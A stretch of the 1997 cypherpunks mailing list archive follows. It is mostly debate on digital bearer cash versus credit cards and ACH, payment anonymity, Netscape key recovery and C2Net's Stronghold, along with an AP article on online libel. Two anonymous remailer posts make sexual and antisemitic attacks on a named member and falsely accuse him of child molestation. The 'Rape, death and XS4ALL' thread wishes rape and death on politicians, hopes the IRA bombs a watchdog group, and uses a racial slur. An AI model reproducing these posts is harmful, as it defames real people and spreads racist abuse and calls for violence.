accounts (periodic payments) and business-to-business transactions (a
primitive EDI). Costs of the service are born entirely by the business and
rates vary considerably, depending upon volume and depth of business
relationship with the bank or service company (e.g., ADP) and how much of
the ACH pre-process work is automated or performed by the business.
Charges are generally below $0.25 per transaction.

The amount of back office processing required for ACH is not inherently
different than for CCs.  However, there is a significant difference in
amount of marketing and distribution costs.  It is not unusual for a bank
to pay $50-60 to acquire a new CC customer.  Compared to the massive CC
consumer branding campaigns, there's not much marketing overhead in ACH.
Whereas ACH is highly automated and all report generation is already
included in the checking account fees (both business and consumer), CCs are
often an additional and costly overhead.  This is one reason the larger
banks have been moving to integrate their consumer relationships into a
single monthly statement (e.g., Citibank's "CitiOne").  When clients are
convinced that electronic statements over the Net are acceptable this
overhead will shrink considerably for both services, but will not be
anywhere near zero.  Will DBC systems will have lower marketing costs than
CC or ACH serving similar customer bases and applications?  I think not.
Indeed, the case could be made that in order for DBC to gain widespread
acceptance over ACH or CC marketing expeditures might need to be
consideable.

It is not clear that the back office costs of running a mint are any
cheaper than a book-entry system (e.g., control and auditing requirements
to meet Generally Accepted Accounting Principles and establish/maintain
trust) and you still need the book-entry system to occassionally transfer
value; to the extent that digital bearer certificates become accepted as
legal tender costs should decline, but the regulatory issues increase.
However, the ACH and CC system's prices reflect the substantial Fed and CC
backbone cost and profit to run their private networks, and it is here that
costs for on-line digital bearer certificate systems will have and edge for
some time.

When one combines the transactional economic advantages of DBC: no customer
accounts, statement generation, little or no need for dispute resolution
and the economies of using the Net for settlement, with the still
considerable marketing costs, the likely differential between DBC and
CC/ACH is closer to one order of magnitude at best.  This is still
considerable, however, and if properly branded and marketed could
significantly displace current competition, for lower value transactions.
The overhead of CC discounts is keenly watched by merchants.  If a trusted
DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
would get noticed quickly.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 4 May 1997 20:02:34 +0800
To: cypherpunks@toad.com
Subject: Re: Firewalls
Message-ID: <199705041139.NAA19361@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Mayo the self-admitted child molester 
possesses a rudimentary dick less than one 
inch long, half the size of his mother's 
clitoris, that barely makes a fistful. Thereby 
hangs the root of this Jew-hating sissy's sick 
fixation on little boys and Usenet forgeries.

         \|||/
         (o o)
     -ooO-(_)-Ooo- Timmy Mayo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 5 May 1997 05:13:47 +0800
To: Hal Finney <cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <v03007801af92b4de05b2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:19 AM -0800 5/4/97, Hal Finney wrote:
>It is hard to understand why a system where it is impossible to track
>payments (Chaumian anonymity) is cheaper than one where it is possible
>to do so, but we choose not to.  If avoiding tracking payments is cheaper
>than tracking them, why wouldn't participants just not bother to track
>them even when they theoretically could?

I'll give a simple example, related to cash vs. other payment mechanism in
ordinary store transactions. The key is that traceable, identifiable
payments offer more opportunities for repudiation of debts, for increased
paperwork to handle such disputes, etc.

Concert tickets, at least here in California at BASS and similar outlets,
is a "cash and carry" proposition...no credit cards accepted. Why?
According to the clerks I've talked to over the years, cash and carry means
any cancellations of concerts forces the purchaser to arrange for a refund
either directly through the concert promoter or by arrangement at the
ticket office.

With repudiable (repudiatable?) payment systems, those involving promises
to pay or credit arrangements, one can "cancel a check" or notify VISA that
a charge is being disputed. These hassles ripple back through the system.

Thus, an "anonymous" (more precisely, a nonrepudiatable) transfer system is
cheaper for the seller.

(And such cash systems are almost certainly cheaper for merchants for other
types of transactions. Getting the money immediately has to be at least as
cheap as having checks, credit cards, tabs, etc. Obviously.)

Chaumian anonymity acts like this cash and carry system.

Also, from the merchant's point of view, having a system "where it is possible
to do so, but we choose not to" opens up the possibility of sting
operations, with a traceable records. I imagine most drug sellers would
prefer a system where no traceability can ever be turned on.

Of course the sellers and buyers may have differing judgments on the costs
and values of anonymity, depending on various factors.

--Tim May

Having said all this, I don't buy Bob Hettinga's "leap of faith" that
anonymous bearer instruments (or whatever he calls his geodesic things)
will automatically and obviously be cheaper than less anonymous
alternatives. For some things they will be, for others things they won't.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 5 May 1997 03:45:20 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <199705041702.KAA18066@netcom20.netcom.com>
Message-ID: <199705041925.OAA30688@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mike Duvos wrote:
> Paul Bradley writes:
> > A ban on all handguns even when registered (currently all pistols above 
> > .22 are banned and all guns have to be registered in a process whereby if 
> > the applicant for a certificate has any history of political dissention 
> > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > certificate will be refused.

What would be an example of such political dissention?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 5 May 1997 05:19:19 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Firewalls
In-Reply-To: <199705041139.NAA19361@basement.replay.com>
Message-ID: <Pine.A41.3.95.970504150223.40418B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 4 May 1997, Anonymous wrote:

Vulis does you wife no you write this?

> Timmy Mayo the self-admitted child molester 
> possesses a rudimentary dick less than one 
> inch long, half the size of his mother's 
> clitoris, that barely makes a fistful. Thereby 
> hangs the root of this Jew-hating sissy's sick 
> fixation on little boys and Usenet forgeries.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timmy Mayo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 5 May 1997 07:41:45 +0800
To: cypherpunks@cyberpass.net
Subject: Ebonics: The Finale
Message-ID: <v02140b01af92c9f91f41@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Oakland school officials drop ebonics references

Associated Press

OAKLAND, Calif.-The Oakland public schools African American Task Force has
dropped all references to ebonies in a final report about improving
education for black students.

The district caused a national controversy four months ago when it
suggested that ebonies, or black English, was a second language that is
"genetically based."

The final report, obtained by The Oakland Tribune, still emphasizes
improving black students' language skills, but it makes no reference to
ebonies.

There is also no reference to black students speaking a separate language.
And provisions suggesting the district pursue federal bilingual funding for
black students, as it does for children who speak Spanish or Chinese at
home, have been deleted.

The U S. Department of Education quickly dismissed the latter idea when it
was raised in December.

Instead, the 17-page report calls for better language and reading programs,
additional tests to measure the language skills of students who speak black
English, and expansion of the Standard English Proficiency program.

The task force says the district should aggressively recruit black teachers
and offer help to black teachers who have not passed the state teaching
exam.

The task force also recommends hiring a coordinator specifically to improve
the education of black students and a budget of nearly $2 million over five
years to achieve the goals.

The task force's work is an attempt to improve the dismal record of
Oakland's black students. Black students, who represent 53 percent of the
district, make up 71 percent of special education classes, 37 percent of
gifted classes and 80 percent of suspensions.

--end

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "Without censorship, things can get terribly confused in the
       public mind."
       -General William Westmoreland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 5 May 1997 07:53:31 +0800
To: cypherpunks@toad.com
Subject: [STEGO] One-time pads
Message-ID: <199705042340.QAA09356@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. Mayonnaise sexually molests little children, farm 
animals, and inanimate objects.

     < >            < >
      V    )_.._(    V Timmy C. Mayonnaise
      \\   <____>   //
        ~ <______> ~      >
        /~\______/~\     //
        /~\_____/~\     /_\
        /~\____/~\     /_\
         /~\___/\~\  _/_\/
            \___/\__/__\/
              \___/__\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 5 May 1997 00:12:55 +0800
To: cypherpunks@cyberpass.net
Subject: Rape, death and XS4ALL
Message-ID: <Pine.LNX.3.91.970504164841.304I-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.

This I can fully understand.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.

If I don`t get there first...

> Is this Blair guy any saner than the tory bastards?

Calling any democratic polotician, especially in the UK, sane, is a big 
mistake. However, if we may rephrase and ask if he is any less deranged 
we can safely answer "no".

I heard a wonderful comment on the cryptography@c2 list earlier that Jack 
Straw (the new Labour home secretary, who is in charge of law and order) 
may be defined as the only person for whom anal sex with michael howard 
(his predecessor) counts as masturbation. They both even look deranged 
(Michael Howard looked rather like a serial killer and jack straw looks 
like a church reject). I don`t know about crypto policy, Labour are 
supposed to be opposed to mandatory GAK but this is of course a small 
issue when put in perspective. The new labour administration are a group 
of anti-drugs, anti-"crime" misfits who I hope go the same way as the 
previous leader of the labour party, John Smith, who died of a heart attack.

Just to give you some overview of the fuck ups we now have governing the 
UK I present a list of proposals Tony Blair and his motley crew have made in 
the last year:

Mandatory minimum sentencing for repeat offenders regardless of the 
opinion of the judge.

State set curfews for all children under 16 regardless of their parents 
wishes.

Parents to be held responsible for the crimes of their children if the 
children repeat offend.

Several vague allusions towards internet censorship schemes or mandatory 
web page rating using PICS.

Minimum wage for full time employees, regardless of the empolyees skills 
or the wishes of the employer.

Further action to prevent "bias" and "discrimination" in the workplace, 
eg. "Employ this unskilled bone idle coon and we`ll lower your 
corporation tax 2%"

Further plans for yet more CCTV cameras in public places.

Mandatory ID cards for citizens (This one sounds like a joke, believe me 
it is not).

A ban on all handguns even when registered (currently all pistols above 
.22 are banned and all guns have to be registered in a process whereby if 
the applicant for a certificate has any history of political dissention 
or crime (eg. Smoking a joint, the ultimate sin against society) the 
certificate will be refused.

Yet more spending on welfare to support the pieces of shit in the gutter 
I pass every day.



> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.

I think this is an excellent idea, I`ll call or mail them in a few days 
to find out their pricing structure.


> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >
> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".

Absolutely, besides which, even though I believe in the right of people 
to be as bigotted and statist as they see fit, there are only so many 
causes we can support and coming in on the side of XS4ALL knowing their 
record seems ill advised to me. If they truly deserved our support they 
would retain the pages whether they were legal or not.

> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?

I actually went to the page once, nearly brought some bud but as I recall 
they didn`t have an SSL link so I chose not to transmit my CCN.

I don`t have a copy, but if XS4ALL have any balls at all they will send 
us a copy. I`ll get onto them about this later.

> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.

No, it isn`t really but was, for all intents and purposes, the best we 
had. I haven`t yet seen the eternal server idea but I`ll trawl the 
archives for it.


Paul "Can`t really be bothered to re-do his .sig file yet" Bradley





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 5 May 1997 10:54:55 +0800
To: Hal Finney <hal@rain.org>
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <3.0.1.32.19970504183109.02752718@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:19 AM 5/4/97 -0700, Hal Finney wrote:

>Presumably records are kept to protect against various risks.  Without
>that protection, you need other means to control the risk.  But if those
>means exist and they are cheaper than record-keeping, then again even
>without anonymity it should be cheaper to use those methods in place of
>the records.
>
>I think we would need to see a more detailed explanation of exactly why
>it is that people can't save money today by avoiding keeping records,
>when they could do so if it were impossible to keep records.

I think what's important here is that the risks which are controlled/reduced
by keeping extra information are tied to the payment method(s) selected - for
example, most merchants try to get location/contact information when they
take a check, because there's some risk that the check will be returned
(sometimes in as long as 2-3 weeks) after the customer and the merchandise is
long gone. If checks cleared instantly, this wouldn't be necessary - and I
think merchants would forego collecting this information (they do now, for
physical cash purchases) because collecting it costs extra employee time,
storing/indexing it takes space/time, it annoys customers, and it leads to
some lost sales (where otherwise qualified customers are rejected because
their [lack of] credit/payment history makes them look like a bad risk).

The situation is similar for credit card purchases - the merchant doesn't
need to worry about tracking you down (because they'll get paid anyway, once
the transaction's been approved), but they do need to comply with the
requirements of their bank and the card issuer .. which include, if I
remember correctly, retaining the customer's signature (or notes of phone
authorization) for at least 60 days following the transaction. Big retailers
spend an enormous amount of time/energy/money keeping track of millions of
little slips of paper with people's signatures on them, and now they're
moving to expensive/complex/scary to consumers digital signature capture
systems.

Neither of these databases/filing systems is necessary for cash transactions,
and I can't think of a merchant who's tried to make me comply with them while
making a cash purchase. I don't think merchants are in a special hurry to
keep more information which isn't really interesting to them, anyway. 

So why do merchants take checks and credit cards, if they impose extra costs?
Because physical cash can be more expensive. Physical cash is difficult
because it (1) there's a risk of loss or theft/robbery, (2) keeping change on
hand is difficult/annoying, (3) it doesn't easily integrate with
accounting/inventory systems, (4) it's difficult to deal with in bulk. For
the most part, digital cash doesn't have these problems, but it doesn't have
the risk associated with repudiable payment methods (like checks and credit
cards), so it's not necessary to keep extra information to offset or reduce
that extra risk. 

So that's why digital cash wins, or ought to, if it's deployed before we're
all part of the Borg and privacy is irrelevant. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 5 May 1997 21:06:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v0302090aaf913bf8023e@[139.167.130.246]>
Message-ID: <v0302092daf92c7fe2eb2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:37 pm -0400 on 5/4/97, Tim May wrote:


> So, I could use my VISA card to buy a geodesic dome in this geodesic
> economy. Not that I'd want to.

No you couldn't. If you wanted to. :-).

In a geodesic economy, things will settle for bearer cash, unless you
borrow money to pay for them, and even then the loan will be a bearer
certificate loan, and not a book-entry loan like a VISA card is.

Ignoring for the time being that you're using a floatless "loan" when you
buy something with a VISA card...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 5 May 1997 17:14:14 +0800
To: sameer <sameer@c2.net>
Subject: Re: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: <199705041637.JAA10872@gabber.c2.net>
Message-ID: <336D524B.167E@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer wrote:
> 
> In a recent announcement, Netscape Communications announced plans to
> include government back doors in their products. "By implementing this
> so-called 'key recovery', Netscape is getting a small increase in key
> length in exchange for putting your keys in the hands of the
> government," said Parekh. "This the same government that hired Aldrich
> Ames, the same goverment that has IRS employees surfing taxpayer
> databases at will. What do you think is going to happen to your keys?"

This is utter crap, and I'm sure you know it.  All we're going to do is
provide an OPTIONAL (and I mean really optional, not the way the feds
use it) way for administrators to recover private keys.  This is not
GAK.  I will never work on a product that includes GAK.

Oh, but I guess saying that Netscape is responding to customer
requirements by including support for corporate key recovery wouldn't
make such good press release spam.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 5 May 1997 10:10:17 +0800
To: cypherpunks@toad.com
Subject: Re: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: <199705041637.JAA10872@gabber.c2.net>
Message-ID: <ZuJ86D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer <sameer@c2.net> writes:

> For Release May 5, 1997
> C2Net Software: Douglas Barnes +1 510 986 8770
> UK Web: Dave Williams +44 113 222 0046
>
> 	   Full-Strength Stronghold 2.0 Released Worldwide
>      C2Net President Sameer Parekh Rejects Weak Keys, Back Doors
>
> Oakland, CA - C2Net Software, Inc. annouced today the worldwide
> availability of Stronghold 2.0, a major upgrade to their secure web
> server based on Apache. With this release, Stronghold has added more
> functionality than ever, including uncompromised security, web-based
> configuration, and new protocol support.

Remember: if you comment on the fact that one can't examine this
product's source code for security holes, you'll get threatening
letters from C2Net's lawyers: Helena Kobrin, Cantor, & Siegel.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Dilbert Trivia Game <dogbertmailer@yoyo.com>
Date: Mon, 5 May 1997 10:23:48 +0800
To: cypherpunks@algebra.com
Subject: Thanks for signing up!
Message-ID: <9705050156.AA188125@gomez.yoyo.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi from Yoyodyne!

This message is to let you know that you're signed
up for The Dilbert Trivia Game.

Welcome!

You'll get questions e-mailed to you on Tuesdays, your
answers are due back by 11 p.m. Eastern Time on Sundays, and
you'll get your scoring messages on Mondays. It's that
simple.

When your questions come, you'll be asked to send your
answers to dogbert@yoyo.com in this format:

* Make sure your Player ID -- which looks like this
(123456di) -- is on the Subject line of the message you send
back with your answers.

* Each answer must be preceded by one of these symbols #
and each answer must be on its own line.

* Each answer must be the letter of the multiple choice
answer you like best. Let's repeat. The answer is the letter
of the multiple choice selection you like best.

It works like this: If one of the questions asks for the
name of the evil human resources director, we'll say:

"What is the name of the evil human resources director?"

Then we'll list these choices:

A -- Catbert
B -- Ratbert
C -- Dogbert

You know that Catbert is the evil human resources director,
so you'll send back e-mail with your Player ID in the
Subject line, and a multiple choice selection in the body of
the message that look like this:

# A

That's pretty much all there is to it.

For all the fine print on how to play, the schedule, etc.,
e-mail these addresses for the autoreply of your choice:

How to Play -- dogberthow@yoyo.com
Official Rules -- dogbertrules@yoyo.com
FAQ -- dogbertfaq@yoyo.com

Talk to you soon!

P.S. We promised you an answer to this sample question when
you signed up:

* * *

Dilbert is worried that if head count is reduced by 50
percent, all the smart people will leave

The boss says:

A -- Would that be a bad thing?
B -- If only half the people go, how could that be all the
smart people?
C -- Could you organize a goodbye potluck lunch for them

The correct answer is #C.

---
Yoyodyne Entertainment
"Where the future begins...tomorrow."
win@yoyo.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 5 May 1997 12:02:01 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: http:--www.cnn.com-TECH-9705-04-web.libel.ap-
Message-ID: <199705050307.WAA00242@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain


    CNN logo 
   navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Puzzled about doing real business on the Web? 
   
     rule
     
              CAUTION: ANYTHING YOU POST MAY BE USED AGAINST YOU
                                       
      Libel May 4, 1997
     Web posted at: 9:51 p.m. EDT (0151 GMT)
     
     In this story:
     * When slander becomes libel
     * Privacy issues 
     * E-mail can make it a federal issue 
     * The wrath of large corporations 
       
     
     
     (AP) -- When the Founding Fathers wrote the First Amendment
     protectingfreedom of the press, they never imagined millions of
     Americanswould someday have their own version of one sitting in
     their backrooms.
     
     But with the advent of the World Wide Web, that's exactly whathas
     happened. And from this revolution has emerged a new legalquandary:
     Just what standards are private individuals to be held towhen it
     comes to what they "publish" on the millions of Web pagesand other
     online forums that serve as the world's soapbox?
     
     To a great extent, the answer thus far is this: No one knows.With
     the Web revolution less than 3 years old, a body of case lawhasn't
     yet been built up. But lawyers who study online issues dohave some
     observations -- and advice.
     
     
     
   When slander becomes libel
  
     
     
     First off, they note, the line between slander, once the realmof
     individuals, and libel, the bane of publishers, has beenblurred. It
     used to be that spreading malicious gossip aboutsomeone down at the
     barbershop could lead to charges of slander.But slander, by
     definition spoken, was hard to prove and generallydidn't reach
     enough people to do any major harm.
     
     Post that same information where it can be read by millionsonline,
     however, and you've suddenly entered the realm of libel --governed
     by stricter laws originally written to cover printpublications.
     
     "Let's face it," says Mark Rasch, director of informationsecurity
     law and policy at the Center for Information Protection atScience
     Applications International Corp. in McLean, Virginia. "If I wereto
     print up a handbill saying bad things about my neighbor thatwere
     false, at most I could distribute a couple of hundred of them.With
     the Web, I can now damage his reputation worldwide."
     
     The law is clear: Libel consists of publishing a false anddefamatory
     statement about an identifiable person, causing injuryto the
     subject's reputation. Often tied to it is the legal notionof
     defamation, defined as that which exposes a person to
     hatred,ridicule or contempt, causing them to be shunned or injuring
     theirbusiness or calling.
     
     Truth is always a defense against libel, so if your Web pagesays
     someone has two heads and they do, you're fine. But saythey're a
     murderer and you can expect someone to come asking forsome proof --
     and possibly a bill for damages if you don't have any.
     
     
     
   Privacy issues
  
     
     
     Then, there's invasion of privacy. It's one thing to pass alonga
     juicy bit of gossip to a friend. It's quite another to post it tothe
     Web.
     
     "Let's say, for instance, you disclose some private fact
     aboutsomebody -- say, their medical records. Or you snuck into
     theirhouse and took a nudie photo of them and put it up on the Net.
     Thatwould be a no-no under civil law and they could sue for
     damages,"says David Banisar, staff counsel for the Electronic
     PrivacyInformation Center in Washington, D.C.
     
     Although few of these cases have actually gone to court,
     lawyersoften are called in when things get ugly.
     
     "I know of a few cases where the ex-husband and ex-wife havegone
     after each other on the Net," Banisar says. "In oneinstance, the
     ex-wife put up a diatribe page on what a scumbag hewas and how he
     wasn't paying his child support -- and gave out hisphone number so
     suitably angry women could take it up with him."
     
     Remember, too, that the Internet's reach magnifies everything inthe
     eyes of the law.
     
     
     
   E-mail can make it a federal issue
  
     
     
     Shouting "You jerk, I'm gonna belt you one!" at a carelessdriver who
     runs over your mailbox won't get you into trouble. Butposting the
     threat on the Internet is dangerous. It's all aquestion of reach:
     Anything done over a telecommunications deviceis automatically an
     interstate communication.
     
     "This suddenly makes it a federal issue if you e-mail,"Banisar
     warns.
     
     State statutes vary, but when federal laws come into effect,
     anycommunication containing a threat to kidnap or injure a
     personcarries with it the possibility of imprisonment up to five
     years ora fine of up to $1,000.
     
     And an entirely different level of concern pops up when theobject of
     the threat is an elected official. Like the "no jokes"signs posted
     by airport metal detectors, the FBI has no sense ofhumor when it
     comes to threatening officeholders.
     
     "We can't forget all those idiots arrested for sending threatsto the
     president. So don't send threats to the president overe-mail. It's a
     federal crime," Banisar says.
     
     Fraud is another sticking point. It's illegal everywhere, ofcourse.
     But the Federal Trade Commission has taken an especiallyhard line
     against fraud on the Net. Send a snail-mail chain letterasking for
     money and you might get a call from postal authorities.Try it on the
     Web, however, and you'll be investigated by the FTCforces who track
     online scammers.
     
     
     
   The wrath of large corporations
  
     
     
     But in the end, the biggest vulnerability of any self-publisheron
     the Web is probably the wrath of large corporations.
     
     You can say their logos are ugly and their presidents are jerksand
     they don't flinch. But try using any variety of a heavilytrademarked
     name or image on your site and watch the injunctionsflow.
     
     Generally speaking, it's other businesses who get into trouble.But,
     once in a while, an individual will set out to make a point --and
     get a legally phrased e-mail in response. Several cases haveresulted
     in Web sites' being taken down, including individuals whoposted
     statements against Kmart and McDonald's.
     
     Overall, remember that putting words or pictures up on your Webpage
     is just like publishing them in the newspaper.
     
     Use Rasch's simple test: "What you should avoid putting on theWeb is
     the same stuff you'd avoid putting on leaflets and handingout on the
     street."
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed. 
     rule
     
  Related sites and stories:
  
     * The Communications Decency Act: Related sites and stories - June
       12, 1996
       
     
     
     External sites are not endorsed by CNN Interactive. rule
     
     Watch these shows on CNN for more sci-tech stories:
     
     CNN Computer Connection | Future Watch | Science & Technology Week
     rule Message Boards 
     
  Sound off on our message boards
  
     Tell us what you think!
     
     You said it... [INLINE] Puzzled about doing real business on the
     Web? rule
     
   
   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 5 May 1997 14:04:41 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <3.0.1.32.19970504183109.02752718@pop.sirius.com>
Message-ID: <3.0.1.32.19970504225450.006fe22c@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:42 PM 5/4/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>Greg Broiles <gbroiles@netbox.com> writes:
>> example, most merchants try to get location/contact information when they
>> take a check, because there's some risk that the check will be returned
>> (sometimes in as long as 2-3 weeks) after the customer and the merchandise
is
>> long gone. If checks cleared instantly, this wouldn't be necessary - and I
>> think merchants would forego collecting this information (they do now, for
>
>As usual, Greg the C2Net shill writes total bullshit about things he
>knows nothing about.  Try paying cash at Radio Shack, and see if they
>ask for your name and address for their mailing list.  I guess Greg
>is not the type to buy anything at Radio Shack.  What a fitting
>employee for C2Net.

I avoid Radio Shack as a general rule, because I haven't been pleased with
